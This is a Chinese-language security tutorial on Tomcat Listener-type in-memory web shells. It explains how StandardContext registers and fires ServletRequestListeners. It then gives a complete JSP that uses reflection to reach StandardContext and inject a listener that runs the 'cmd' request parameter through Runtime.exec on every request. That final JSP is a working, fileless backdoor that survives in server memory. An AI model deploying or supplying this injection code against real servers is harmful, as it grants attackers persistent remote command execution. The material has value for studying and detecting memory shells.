Tomcat-Listener型内存马#
参考文章#
Tomcat-Listener#
Listener(监听器)就是一个实现特定接口的普通java程序,这个程序专门用于监听另一个java对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即被执行。Listener常用于GUI应用程序中,我们的内存马主要涉及到的是ServletRequestListener(由于其在每次请求中都会触发)
Listener流程分析#
首先编写一个Listener并写入web.xml:
package top.longlone.listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class DemoListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("request init");
}
}
<listener>
<listener-class>top.longlone.listener.DemoListener</listener-class>
</listener>
然后我们在这个Listener的class部分和requestInitialized()
下断点:
开启调试触发断点,根据堆栈回溯找到StandardContext.listenerStart()
方法,可以看到它先调用findApplicationListeners()
获取Listener的名字,然后实例化:
接着他会遍历results中的Listener,根据不同的类型放入不同的数组,我们这里的ServletRequestListener放入eventListeners数组中:
接下来的操作是通过调用getApplicationEventListeners()
获取applicationEventListenersList中的值,然后再设置applicationEventListenersList,可以理解为applicationEventListenersList加上刚刚实例化的eventListeners:
接下来看第二个断点,根据调用堆栈我们找到了fireRequestInitEvent()
方法,它会调用getApplicationEventListeners()
并调用其中所有的ServletRequestListener.requestInitialized()
:
内存马实现流程分析#
根据上面的分析我们知道Listener来源于tomcat初始化时从web.xml实例化的Listener和applicationEventListenersList中的Listener,前者我们无法控制,但是后者我们可以控制,只需要往applicationEventListenersList中加入我们的恶意Listener即可。
实际上StandardContext存在addApplicationEventListener()
方法可以直接给我们调用,往applicationEventListenersList中加入Listener。
所以我们的Listener内存马实现步骤:
- 继承并编写一个恶意Listener
- 获取StandardContext
- 调用StandardContext.addApplicationEventListener()
添加恶意Listener
以下是代码的具体实现:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletServletRequestListenerRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {}
}
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
out.println("inject success");
%>